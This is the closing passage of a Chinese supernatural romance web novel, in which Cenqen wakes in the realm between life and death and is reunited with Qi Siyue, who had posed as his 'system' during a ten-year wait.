芩芩正面的评价,让谈临受宠若惊。 如果芩芩见一次祈斯越就会如此释然,他就该早点让芩芩见。 谈临眉眼舒展开来,笑着说:“喜欢就好。” “嗯。” 谈临坐床上看向他,芩芩的好脸色对现在的他来说太难得了,他视线流连,真的不忍挪开。 芩芩看了半晌,小脸凑到花上,认真闻闻花香。 随后抬起头说:“我们也该说再见了。” 谈临怔愣一瞬,有些不明所以地蹙了下眉,隐隐觉得不对,“芩芩。” 紧接着,看着芩芩轻松地眨眨眼睛,他想到什么,只来得及说:“我真的喜欢你。” 一片寂静。 车流不息,行人来往,世界如常运行。 属于谈临的空间如同从未出现一般,从这个世界上彻底消失。连同两个曾存在过、与其他人产生过交集的人,也一并抹去。 · “祈斯越……” 芩芩从床上缓缓睁开眼,他环顾四周,他在生死之界自己房间的床上。 他最后记得的,是自己和涂晋在一起,触摸到了树,触摸到了自己的本体,获得了过去的记忆。 此时此刻,他很清晰感觉到一切变得充盈,仿佛缺失的部分被完整填满。 他对整个生死之界每一个角落、每一片叶子、每一个副本——都有了清晰的掌控。 这里是他的家。 现在恢复记忆,他才奇怪,为什么会变有各式各样的副本?是他无意识做的吗? 芩芩强制回到生死之界就失去了生为人的意识,并不知道生死之界怎么会变成这样,也不知道现在过了多少年。 祈斯越呢…… 他在哪里? 他还活着吗? 芩芩这么一想,不可控的咬住嘴唇,攥紧手指,准备现在离开生死之界,去人类世界见祈斯越,万一他现在还在等着呢? 芩芩正准备离开,听到了脑海中响起的声音,一声似乎蕴含了很多东西的声音,“芩芩。” “系统?”芩芩怔了两秒,反应过来,“你知道我的身份对不对?这里怎么会变成这样?是我做的吗?” 他一堆问题从内心冒出来,但他忽然反应过来这些不是最重要的,摇了摇脑袋,摆手说:“算了,等我回来再说吧,我要去趟人类世界。” “等等!”本该是稍带点情感的无机制声音,他急促说了声。 芩芩却听出了异样的情感,好像在胆怯什么。 芩芩一顿,觉得不对劲,“你怎么了?” “忘记我的声音了吗?”系统似是轻笑一声,有几分酸溜溜的苦涩意味。 一个高大的人形轮廓逐渐清晰,展现在他面前,眉眼逐步明朗。真真切切的男人出现在了芩芩面前,如此熟悉,却又有些许不同,更成熟了。 芩芩睫毛轻颤,愣住,乱七八糟的念头弄得他有些发晕,过了会他才迟钝意识到眼前熟悉又陌生的人到底是谁。 对方走近他,眼中蕴藏着浓重到几乎溢出的感情,好像要将芩芩淹没卷入火海,用滚烫席卷过他柔软的身体,让他明白思念的温度。 芩芩只是站在这里看着他,轻轻叫他名字,“祈斯越。” 于祈斯越而来,久违到像死了一回,伴随着他几乎要跳出胸腔的心跳,他说:“嗯。” “这次等了很久吗?” 祈斯越再也无法克制住自己,本能的冲动,他往前几步,将人紧紧按入自己怀中,感受到熟悉的温度,身体难以控制地剧烈颤抖。 他调整自己的呼吸,“没有很久,87758个小时。” “那、是多少年啊?” 芩芩被迫仰着头,哪怕被抱得很紧,他也没想让对方松开,反倒是抬起手臂,也同样抱住他。 这么多数字,他确实不太知道到底是多少时间了。 祈斯越的嗓音不再有青涩,低哑说:“十年。” 其实这个时间比芩芩想象的短了太多太多。 他原以为强制抽离,在人类时间换算下来,或许会有五百多年。 才十年,竟然比上一次离开都短暂。 “没包括在生死之界的时间。” 芩芩讶异,反应过来祈斯越出现在这里有多奇怪,松开他的腰,“什么意思?发生了什么?” “等会再说这些,好不好?” 一个等待了许久、跨越了时间和空间的吻终于落了下来。 芩芩用熟悉的姿势,被抱坐在沙发上,舌尖被含吮,他的呼吸被侵略,受不住巨大的冲击,他往后仰,又被祈斯越哀求般的喘息声弄得心软忍耐。 芩芩瘦白手指攥着祈斯越的衣服,蓦然间,在这个吻中感受到了咸湿味道。 他分不清,到底是谁的眼泪。 十年又不止是十年。 可是只要成功了,所有的回报此时都在他的怀中,那等待和痛苦还算得了什么? 都过去了,他只想把握现在。 芩芩离开后,祈斯越一直在寻找找到他的方式,让他就那么苦撑着,一个没有期限的等待,他做不到。 十年间,他接连闯入曾经一位区域神的空间,想求一个指引。 对方是能找到的,唯一记录过生死之界的神。 对方约莫知道了事情,宽恕了他的无礼,说起了自己曾经差点短暂迈入那个地方的经历。 他与人为善,是半道成神,当时已经中年。有次为了弥补自己犯下的错误,濒临绝境,在生与死的边缘触摸到了那个地方。 祈斯越没有别的选择,他想赌一把。 生命逐渐流失,他意识却异常清醒,于是他成功了。 生死之界完全接纳了他,没有像对待过去的区域神短时间就被驱逐,他留在了这个地方,看到了那一棵遮天蔽日的黑色的树。 他知道自己在陪着芩芩,不知道过了多久,他撑不住了这种等待,献祭自己的灵魂,只为了和他一起沉睡,直到他醒来的那天。 而创造这些副本,只是芩芩潜意识中想快速让自己苏醒采取的手段。至于各种各样的规则,则是后来进入的鬼魂形成的。 祈斯越对芩芩献祭自己的灵魂,于是他可以和芩芩同时恢复记忆,而他,哪怕身为毫无记忆的碎片,也义无反顾被他吸引到身边,进入他进入的地方,成为各式各样的人。 “所以你也恢复记忆,是因为我把所有的你收集了吗?” 祈斯越把脸埋进芩芩的肩窝,沉默一瞬,摇了摇头,“没有。” “那副本还没有结束?” 祈斯越点头。 他深深吸着熟悉香甜的气息,所有碎片的记忆他都有,他却依旧觉得有几分违和,有些事情不像是自己会做出来的。因而还生出了醋意。 “这样啊,那我要接着下副本找你喽。”芩芩眼睛弯弯的,刚刚亲吻过程中,流了几滴眼泪,此时眼尾有些动人的红。 “过段时间好不好?”久别重逢,他好像许久不见主人的狗子,粘着不肯松开。 说完,又开始颤抖着吻芩芩的脖子。 芩芩眼睛有几分动容,手指搭在他宽阔的肩上,应了声,“好。” “我不想再和你分开一次了……” “好。”芩芩把他从怀里拉出来,琥珀色眼睛认认真真地看着他,像盛着星光。 “我这一次不会再说话不算话了。” 祈斯越黑沉的眼眸中倒映着芩芩轻笑的模样,他喉咙发酸,“嗯,我死之前,芩芩不能抛下我。” 收集灵魂碎片道阻且长,他们会一起去往下一个副本。 而陪在爱的人身边,就是天下第一幸福美好的事。 ——正文完——魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m